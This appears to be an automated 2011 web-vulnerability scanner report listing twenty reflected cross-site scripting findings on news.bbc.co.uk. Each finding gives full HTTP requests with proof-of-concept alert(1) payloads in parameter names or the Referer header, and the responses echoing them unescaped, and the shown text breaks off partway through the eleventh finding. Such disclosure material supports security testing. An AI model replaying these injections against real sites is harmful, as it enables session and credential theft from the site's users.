XSS, Cross Site Scripting, news.bbc.co.uk, CWE-79

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by CloudScan Vulnerability Crawler at Mon Feb 14 11:12:25 CST 2011.


The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. http://news.bbc.co.uk/2/hi/programmes/world_news_america/9394994.stm [name of an arbitrarily supplied request parameter]

1.2. http://news.bbc.co.uk/earth/hi/earth_news/newsid_9392000/9392070.stm [name of an arbitrarily supplied request parameter]

1.3. http://news.bbc.co.uk/go/rss/int/news/-/2/hi/programmes/world_news_america/9394994.stm [name of an arbitrarily supplied request parameter]

1.4. http://news.bbc.co.uk/go/rss/int/news/-/earth/hi/earth_news/newsid_9392000/9392070.stm [name of an arbitrarily supplied request parameter]

1.5. http://news.bbc.co.uk/go/rss/int/news/-/sport2/hi/golf/9394205.stm [name of an arbitrarily supplied request parameter]

1.6. http://news.bbc.co.uk/go/rss/int/news/-/sport2/hi/olympic_games/london_2012/9394490.stm [name of an arbitrarily supplied request parameter]

1.7. http://news.bbc.co.uk/go/rss/int/news/-/sport2/hi/tennis/9395423.stm [name of an arbitrarily supplied request parameter]

1.8. http://news.bbc.co.uk/sport2/hi/golf/9394205.stm [name of an arbitrarily supplied request parameter]

1.9. http://news.bbc.co.uk/sport2/hi/olympic_games/london_2012/9394490.stm [name of an arbitrarily supplied request parameter]

1.10. http://news.bbc.co.uk/sport2/hi/tennis/9395423.stm [name of an arbitrarily supplied request parameter]

1.11. http://news.bbc.co.uk/2/hi/programmes/world_news_america/9394994.stm [Referer HTTP header]

1.12. http://news.bbc.co.uk/earth/hi/earth_news/newsid_9392000/9392070.stm [Referer HTTP header]

1.13. http://news.bbc.co.uk/go/rss/int/news/-/2/hi/programmes/world_news_america/9394994.stm [Referer HTTP header]

1.14. http://news.bbc.co.uk/go/rss/int/news/-/earth/hi/earth_news/newsid_9392000/9392070.stm [Referer HTTP header]

1.15. http://news.bbc.co.uk/go/rss/int/news/-/sport2/hi/golf/9394205.stm [Referer HTTP header]

1.16. http://news.bbc.co.uk/go/rss/int/news/-/sport2/hi/olympic_games/london_2012/9394490.stm [Referer HTTP header]

1.17. http://news.bbc.co.uk/go/rss/int/news/-/sport2/hi/tennis/9395423.stm [Referer HTTP header]

1.18. http://news.bbc.co.uk/sport2/hi/golf/9394205.stm [Referer HTTP header]

1.19. http://news.bbc.co.uk/sport2/hi/olympic_games/london_2012/9394490.stm [Referer HTTP header]

1.20. http://news.bbc.co.uk/sport2/hi/tennis/9395423.stm [Referer HTTP header]



1. Cross-site scripting (reflected)
There are 20 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.



1.1. http://news.bbc.co.uk/2/hi/programmes/world_news_america/9394994.stm [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /2/hi/programmes/world_news_america/9394994.stm

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8def0'-alert(1)-'7f88c0189cd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/hi/programmes/world_news_america/9394994.stm?8def0'-alert(1)-'7f88c0189cd=1 HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:08:50 GMT
Keep-Alive: timeout=10, max=782
Expires: Sat, 12 Feb 2011 02:08:50 GMT
Connection: close
Set-Cookie: BBC-UID=54cd15e5be7bfba287c26e2eb12b84f0538e6b3010c031af52594614f7c142a40Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:08:50 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=54cd15e5be7bfba287c26e2eb12b84f0538e6b3010c031af52594614f7c142a40Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:08:50 GMT; path=/; domain=bbc.co.uk;
Content-Length: 39022

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476530000,
       editionToServe: 'international',
       queryString: '8def0'-alert(1)-'7f88c0189cd=1',
       referrer: null,
       section: null,
       sectionPath: '/programmes/world_news_america',
       siteName: null,
       siteToServe: 'news',
       siteVersion: '4',
       storyId: '9394994',
       assetType: null,
   
...[SNIP]...

1.2. http://news.bbc.co.uk/earth/hi/earth_news/newsid_9392000/9392070.stm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /earth/hi/earth_news/newsid_9392000/9392070.stm

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1cadb'-alert(1)-'c3651c6f693 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /earth/hi/earth_news/newsid_9392000/9392070.stm?1cadb'-alert(1)-'c3651c6f693=1 HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:08:57 GMT
Keep-Alive: timeout=10, max=791
Expires: Sat, 12 Feb 2011 02:08:57 GMT
Connection: close
Set-Cookie: BBC-UID=549db5e53e4b9b096938d595015312767971760e10f001ff2299f69532f9ba2e0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:08:57 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=549db5e53e4b9b096938d595015312767971760e10f001ff2299f69532f9ba2e0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:08:57 GMT; path=/; domain=bbc.co.uk;
Content-Length: 47031

<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
<title>BBC - Earth News - Bizarre mammals filmed calling using their quills<
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476537000,
       editionToServe: null,
       queryString: '1cadb'-alert(1)-'c3651c6f693=1',
       referrer: null,
       section: null,
       sectionPath: null,
       siteName: null,
       siteToServe: 'earthnews',
       siteVersion: '4',
       storyId: null,
       assetType: null,
       uri: '/earth/hi/earth_news/
...[SNIP]...

1.3. http://news.bbc.co.uk/go/rss/int/news/-/2/hi/programmes/world_news_america/9394994.stm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /go/rss/int/news/-/2/hi/programmes/world_news_america/9394994.stm

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1e109'-alert(1)-'8374590e610 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /go/rss/int/news/-/2/hi/programmes/world_news_america/9394994.stm?1e109'-alert(1)-'8374590e610=1 HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:09 GMT
Keep-Alive: timeout=10, max=798
Expires: Sat, 12 Feb 2011 02:09:09 GMT
Connection: close
Set-Cookie: BBC-UID=d4dd3585cecb8ca5491628bef1bd0d046002e63a40d0314fe27956343d3a35840Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:09 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=d4dd3585cecb8ca5491628bef1bd0d046002e63a40d0314fe27956343d3a35840Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:09 GMT; path=/; domain=bbc.co.uk;
Content-Length: 39022

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476549000,
       editionToServe: 'international',
       queryString: '1e109'-alert(1)-'8374590e610=1',
       referrer: null,
       section: null,
       sectionPath: '/programmes/world_news_america',
       siteName: null,
       siteToServe: 'news',
       siteVersion: '4',
       storyId: '9394994',
       assetType: null,
   
...[SNIP]...

1.4. http://news.bbc.co.uk/go/rss/int/news/-/earth/hi/earth_news/newsid_9392000/9392070.stm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /go/rss/int/news/-/earth/hi/earth_news/newsid_9392000/9392070.stm

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 71566'-alert(1)-'6b080107c3b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /go/rss/int/news/-/earth/hi/earth_news/newsid_9392000/9392070.stm?71566'-alert(1)-'6b080107c3b=1 HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:07 GMT
Keep-Alive: timeout=10, max=745
Expires: Sat, 12 Feb 2011 02:09:07 GMT
Connection: close
Set-Cookie: BBC-UID=f49d65b5beab7c730c7ae2b951314373b4f0806ce040917f52a906d565741bf40Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:07 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=f49d65b5beab7c730c7ae2b951314373b4f0806ce040917f52a906d565741bf40Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:07 GMT; path=/; domain=bbc.co.uk;
Content-Length: 47031

<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
<title>BBC - Earth News - Bizarre mammals filmed calling using their quills<
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476547000,
       editionToServe: null,
       queryString: '71566'-alert(1)-'6b080107c3b=1',
       referrer: null,
       section: null,
       sectionPath: null,
       siteName: null,
       siteToServe: 'earthnews',
       siteVersion: '4',
       storyId: null,
       assetType: null,
       uri: '/earth/hi/earth_news/
...[SNIP]...

1.5. http://news.bbc.co.uk/go/rss/int/news/-/sport2/hi/golf/9394205.stm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /go/rss/int/news/-/sport2/hi/golf/9394205.stm

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a61cb'-alert(1)-'575ceb82f93 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /go/rss/int/news/-/sport2/hi/golf/9394205.stm?a61cb'-alert(1)-'575ceb82f93=1 HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:01 GMT
Keep-Alive: timeout=10, max=582
Expires: Sat, 12 Feb 2011 02:09:01 GMT
Connection: close
Set-Cookie: BBC-UID=e4bd5505eefb3b1d89f847f071fefc5fad2b4ea670a0b17f4259b63532492a3e0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:01 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=e4bd5505eefb3b1d89f847f071fefc5fad2b4ea670a0b17f4259b63532492a3e0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:01 GMT; path=/; domain=bbc.co.uk;
Content-Length: 53626

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476541000,
       editionToServe: 'international',
       queryString: 'a61cb'-alert(1)-'575ceb82f93=1',
       referrer: null,
       section: null,
       sectionPath: '/golf',
       siteName: null,
       siteToServe: 'sport',
       siteVersion: '4',
       storyId: '9394205',
       assetType: null,
       uri: '/sport2/hi/golf/9
...[SNIP]...

1.6. http://news.bbc.co.uk/go/rss/int/news/-/sport2/hi/olympic_games/london_2012/9394490.stm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /go/rss/int/news/-/sport2/hi/olympic_games/london_2012/9394490.stm

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b86cf'-alert(1)-'96b33c32472 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /go/rss/int/news/-/sport2/hi/olympic_games/london_2012/9394490.stm?b86cf'-alert(1)-'96b33c32472=1 HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:03 GMT
Keep-Alive: timeout=10, max=727
Expires: Sat, 12 Feb 2011 02:09:03 GMT
Connection: close
Set-Cookie: BBC-UID=840dd5755e0b5b9ff953c643f1b8ff73b5a2245bb090918fc25906049c8a14f00Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:03 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=840dd5755e0b5b9ff953c643f1b8ff73b5a2245bb090918fc25906049c8a14f00Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:03 GMT; path=/; domain=bbc.co.uk;
Content-Length: 69527

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476543000,
       editionToServe: 'international',
       queryString: 'b86cf'-alert(1)-'96b33c32472=1',
       referrer: null,
       section: null,
       sectionPath: '/olympic_games/london_2012',
       siteName: null,
       siteToServe: 'sport',
       siteVersion: '4',
       storyId: '9394490',
       assetType: null,
       ur
...[SNIP]...

1.7. http://news.bbc.co.uk/go/rss/int/news/-/sport2/hi/tennis/9395423.stm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /go/rss/int/news/-/sport2/hi/tennis/9395423.stm

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 74d98'-alert(1)-'1a146a00e6f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /go/rss/int/news/-/sport2/hi/tennis/9395423.stm?74d98'-alert(1)-'1a146a00e6f=1 HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:05 GMT
Keep-Alive: timeout=10, max=718
Expires: Sat, 12 Feb 2011 02:09:05 GMT
Connection: close
Set-Cookie: BBC-UID=542db545be4b7ce19773d4aee1fbacf86a949868e080e1efc2891664479112740Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:05 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=542db545be4b7ce19773d4aee1fbacf86a949868e080e1efc2891664479112740Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:05 GMT; path=/; domain=bbc.co.uk;
Content-Length: 50549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476545000,
       editionToServe: 'international',
       queryString: '74d98'-alert(1)-'1a146a00e6f=1',
       referrer: null,
       section: null,
       sectionPath: '/tennis',
       siteName: null,
       siteToServe: 'sport',
       siteVersion: '4',
       storyId: '9395423',
       assetType: null,
       uri: '/sport2/hi/tenn
...[SNIP]...

1.8. http://news.bbc.co.uk/sport2/hi/golf/9394205.stm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /sport2/hi/golf/9394205.stm

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ea5cf'-alert(1)-'1ab852e0866 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sport2/hi/golf/9394205.stm?ea5cf'-alert(1)-'1ab852e0866=1 HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:08:55 GMT
Keep-Alive: timeout=10, max=798
Expires: Sat, 12 Feb 2011 02:08:55 GMT
Connection: close
Set-Cookie: BBC-UID=d48d35955e6b5b9787803ea5112afeeae12d7f0a80e0615fc279c64468cf69620Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:08:55 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=d48d35955e6b5b9787803ea5112afeeae12d7f0a80e0615fc279c64468cf69620Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:08:55 GMT; path=/; domain=bbc.co.uk;
Content-Length: 53626

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476535000,
       editionToServe: 'international',
       queryString: 'ea5cf'-alert(1)-'1ab852e0866=1',
       referrer: null,
       section: null,
       sectionPath: '/golf',
       siteName: null,
       siteToServe: 'sport',
       siteVersion: '4',
       storyId: '9394205',
       assetType: null,
       uri: '/sport2/hi/golf/9
...[SNIP]...

1.9. http://news.bbc.co.uk/sport2/hi/olympic_games/london_2012/9394490.stm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /sport2/hi/olympic_games/london_2012/9394490.stm

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8d641'-alert(1)-'c2d872fa237 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sport2/hi/olympic_games/london_2012/9394490.stm?8d641'-alert(1)-'c2d872fa237=1 HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:08:56 GMT
Keep-Alive: timeout=10, max=662
Expires: Sat, 12 Feb 2011 02:08:56 GMT
Connection: close
Set-Cookie: BBC-UID=e44dc5f52e5bcb18f9339303c14b5eb5f149e31660e081af52296614ac0ab4600Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:08:56 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=e44dc5f52e5bcb18f9339303c14b5eb5f149e31660e081af52296614ac0ab4600Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:08:56 GMT; path=/; domain=bbc.co.uk;
Content-Length: 69527

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476536000,
       editionToServe: 'international',
       queryString: '8d641'-alert(1)-'c2d872fa237=1',
       referrer: null,
       section: null,
       sectionPath: '/olympic_games/london_2012',
       siteName: null,
       siteToServe: 'sport',
       siteVersion: '4',
       storyId: '9394490',
       assetType: null,
       ur
...[SNIP]...

1.10. http://news.bbc.co.uk/sport2/hi/tennis/9395423.stm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /sport2/hi/tennis/9395423.stm

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7f6ef'-alert(1)-'4795ea40789 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sport2/hi/tennis/9395423.stm?7f6ef'-alert(1)-'4795ea40789=1 HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:08:57 GMT
Keep-Alive: timeout=10, max=775
Expires: Sat, 12 Feb 2011 02:08:57 GMT
Connection: close
Set-Cookie: BBC-UID=448dc5f52e9bfb8919e640f511ef4325ed11dd88b050916f128906b4fa9cd9940Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:08:57 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=448dc5f52e9bfb8919e640f511ef4325ed11dd88b050916f128906b4fa9cd9940Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:08:57 GMT; path=/; domain=bbc.co.uk;
Content-Length: 50549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476537000,
       editionToServe: 'international',
       queryString: '7f6ef'-alert(1)-'4795ea40789=1',
       referrer: null,
       section: null,
       sectionPath: '/tennis',
       siteName: null,
       siteToServe: 'sport',
       siteVersion: '4',
       storyId: '9395423',
       assetType: null,
       uri: '/sport2/hi/tenn
...[SNIP]...

1.11. http://news.bbc.co.uk/2/hi/programmes/world_news_america/9394994.stm [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /2/hi/programmes/world_news_america/9394994.stm

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3fe2b'-alert(1)-'899724006c4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /2/hi/programmes/world_news_america/9394994.stm HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=3fe2b'-alert(1)-'899724006c4

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:02 GMT
Keep-Alive: timeout=10, max=780
Expires: Sat, 12 Feb 2011 02:09:02 GMT
Connection: close
